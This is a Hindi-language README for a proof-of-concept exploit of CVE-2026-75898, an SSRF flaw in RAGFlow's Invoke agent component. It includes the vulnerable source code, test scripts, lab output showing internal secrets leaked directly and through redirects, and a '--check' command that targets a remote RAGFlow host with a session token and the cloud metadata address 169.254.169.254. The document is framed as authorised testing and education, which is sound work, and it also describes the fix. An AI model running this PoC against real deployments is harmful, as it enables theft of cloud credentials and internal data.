
# CVE-2026-75898 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, RAGFlow के Invoke घटक में एक SSRF अपरिवर्तित स्रोत के साथ भेद्यता का प्रदर्शन करता है, इसमें E2E परीक्षण, फिक्स तुलना, और अधिकृत सुरक्षा परीक्षण के लिए Docker-आधारित पुनरुत्पादन शामिल है।
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| समाधान संस्करण | v0.26.3 |
| फिक्स कमिट | c4fe68e, e16d1a0 |
| मुद्दा संदर्भ | infiniflow/ragflow#15425, #18280 |
| परामर्श | VulnCheck |
v0.26.2 के agent/component/invoke.py में Invoke घटक उपयोगकर्ता-आपूर्ति किए गए
वेरिएबल टेम्पलेट्स से अनुरोध URL बनाता है और हल किए गए होस्ट की कोई सत्यापन
नहीं करता:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
यह URL _send_request() में requests.get/post/put तक पहुँचता है। चूँकि
allow_redirects को requests के डिफ़ॉल्ट (True) पर छोड़ दिया गया है, एक हमलावर:
url को किसी आंतरिक पते (127.0.0.1, 169.254.169.254,
RFC1918 रेंज, रिज़ॉल्व्ड-होस्ट पिनिंग मौजूद नहीं है) पर सेट कर सकता है, याफिक्स assert_url_is_safe() + pin_dns() जोड़ता है और
allow_redirects=False को अनिवार्य करता है।
"दिखने में समान" पुनः-कार्यान्वयनों के विपरीत, यह रिपॉजिटरी कमजोर घटक के अपरिवर्तित v0.26.2 स्रोत को चलाता है:
target/invoke_v0.26.2.py — v0.26.2 टैग से बाइट-दर-बाइट agent/component/invoke.py।e2e/test_genuine_ssrf.py — उस वास्तविक फ़ाइल को पतले आयात स्टब्स के पीछे लोड करता है
(स्टब केवल असंबंधित आयातों को बदलता है: ComponentBase, timeout
डेकोरेटर और HtmlParser — SSRF-पथ तर्क में से कोई भी स्पर्श नहीं किया गया है) और
साबित करता है कि घटक सीधे और रीडायरेक्ट श्रृंखला के माध्यम से आंतरिक सेवा तक पहुँचता है।e2e/test_fix_guard.py — उसी फ़ाइल पर अपस्ट्रीम गार्ड (assert_url_is_safe,
allow_redirects=False) लागू करता है और दिखाता है कि अनुरोध अवरुद्ध हैं।तीन स्वतंत्र तरीकों से मान्य किया गया:
e2e/test_genuine_ssrf.py
लूपबैक लैब सर्वर के विरुद्ध अपरिवर्तित target/invoke_v0.26.2.py स्रोत को चलाता है —
SSRF की पुष्टि हुई।e2e/test_fix_guard.py उसी फ़ाइल पर अपस्ट्रीम गार्ड लागू करता है — अवरुद्ध।v0.26.2 (infinity+mysql+minio+valkey)
docker compose के माध्यम से; एक वास्तविक एजेंट फ़्लो में एक Invoke नोड ने
INTERNAL-DB-SECRET:dbpassword=SuperSecret123 को आंतरिक होस्ट पोर्ट से प्राप्त किया।
शब्दशः साक्ष्य के लिए LAB_DEMO.md देखें।cd e2e
python3 test_genuine_ssrf.py # must print SSRF confirmed (vulnerable)
python3 test_fix_guard.py # must print BLOCKED (fixed behavior)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
प्रमाणित सत्र टोकन की आवश्यकता है (Invoke एजेंट फ़्लो के अंदर चलता है)।
python3 poc.py --poc # local E2E
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke नोड URL टेम्पलेट्स को अनुमत सूची तक सीमित करें।RAGFlow v0.26.3 (अगस्त 2026) में ठीक किया गया। यह PoC सार्वजनिक परामर्श और फिक्स कमिट से केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए स्वतंत्र रूप से पुनर्निर्मित किया गया था। InfiniFlow से संबद्ध नहीं है।